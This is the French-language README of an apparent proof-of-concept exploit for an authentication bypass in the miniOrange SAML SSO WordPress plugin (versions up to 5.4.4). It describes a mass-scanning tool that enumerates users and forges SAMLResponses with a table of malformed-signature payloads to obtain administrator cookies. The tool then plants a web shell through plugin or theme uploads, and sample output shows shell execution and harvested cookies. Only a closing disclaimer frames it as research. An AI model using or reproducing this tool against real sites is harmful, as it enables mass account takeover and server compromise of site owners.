
SAML Single Sign On <= 5.4.4 - Contournement de l'authentification sans authentification via le paramètre SAMLResponse
SAML Single Sign On <= 5.4.4 - Contournement de l'authentification sans authentification préalable via le paramètre SAMLResponse
Exploit de preuve de concept
Signature malformée → openssl_verify() renvoie -1 → conversion souple PHP en true → wp_set_auth_cookie() en tant qu'Administrateur
Le plugin SAML Single Sign On – SSO Login pour WordPress est vulnérable à un contournement de l'authentification dans toutes les versions jusqu'à la 5.4.4 incluse. Cela est dû au fait que la fonction mo_saml_validate_signature() effectue un contrôle booléen souple sur l'entier à trois états renvoyé par openssl_verify() de PHP, ce qui fait que la valeur d'erreur -1 est évaluée comme vraie et donc traitée comme une vérification de signature réussie.
Cela permet à des attaquants non authentifiés de se connecter en tant que n'importe quel utilisateur WordPress existant, y compris les administrateurs, en soumettant une SAMLResponse forgée contenant un NameID contrôlé par l'attaquant et une valeur de signature délibérément malformée qui déclenche une erreur de traitement OpenSSL — contournant entièrement la vérification et conduisant à l'appel de wp_set_auth_cookie() pour le compte ciblé.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
Le correctif est trivial — if ($result === 1) au lieu de if ($result) — mais l'impact de la faille est un contournement total de l'authentification.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login et extrait les URL de base de l'IdPlxml</Issuer> conformément à la spécification SAMLopenssl_verify() = -1Python >= 3.8
pip install requests lxml
lxmlest requis pour une canonicalisation Exclusive C14N correcte de l'Assertion SAML.
python CVE-2026-15981.py
Vous serez invité à fournir :
| Paramètre | Description | Défaut |
|---|---|---|
| Fichier de cibles | Chemin vers un fichier texte contenant une cible par ligne | list.txt |
| Threads | Nombre de travailleurs concurrents (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Une URL par ligne. HTTP est utilisé par défaut si aucun schéma n'est spécifié.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Chaque cible progresse à travers 7 étapes étiquetées :
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| Fichier | Contenu |
|---|---|
sms.txt | Une ligne par session admin confirmée — horodatage, cible, utilisateur, cookie, URL du shell, émetteur, méthode de signature |
sms_debug.json | JSON de diagnostic complet pour chaque cible — y compris les compteurs de tentatives et les classifications d'échec |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
L'exploit embarque plus de 12 charges utiles de signature spécialement conçues pour déclencher openssl_verify() = -1 :
Chacune est combinée avec les URI d'algorithmes SHA-1 et SHA-256, et testée avec ou sans restriction d'Audience, sur plusieurs Entity ID SP — maximisant ainsi les chances d'atteindre le chemin de retour -1 sur n'importe quelle version d'OpenSSL.
Cet outil est fourni strictement à des fins de tests de sécurité autorisés et de recherche pédagogique. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
L'accès non autorisé à des systèmes informatiques est une infraction pénale. L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences juridiques découlant de l'utilisation de ce logiciel. Vous êtes seul responsable du respect de toutes les lois et réglementations applicables dans votre juridiction.
Par : Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| Champ | Détail |
|---|
| CVE ID | CVE-2026-15981 |
| Plugin concerné | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Versions concernées | Toutes les versions jusqu'à la 5.4.4 incluse |
| Type | Contournement de l'authentification sans authentification préalable |
| CWE | CWE-287 : Authentification incorrecte / CWE-305 : Contournement de l'authentification par faiblesse primaire |
| CVSS 3.1 | 9.8 CRITIQUE — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | Aucune requise |
wordpress_logged_in_*/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD dans le corps de la réponse| Charge utile | Description |
|---|
0xFF * 256 | 256 octets de 0xFF — bourrage PKCS#1 invalide |
0xFF * 384 | 384 octets pour les tailles de clé RSA-3072 |
0xFF * 512 | 512 octets pour les tailles de clé RSA-4096 |
0xFF * 128 | Tampon plus court pour les tailles de clé plus petites |
0xFF * 64 | Bourrage invalide minimal |
0x00 0x01 0xFF*254 | Ressemble à du PKCS#1 v1.5 mais avec une structure incorrecte |
0x00 0x01 0xFF*126 | Structure de type PKCS#1 plus courte |
null_2B | Deux octets adjacents nuls |
rand_3B / rand_7B | Octets aléatoires — déclenche des erreurs d'analyse |
asn1_bad | Séquence ASN.1 DER malformée |
ff_1B | Un seul octet 0xFF |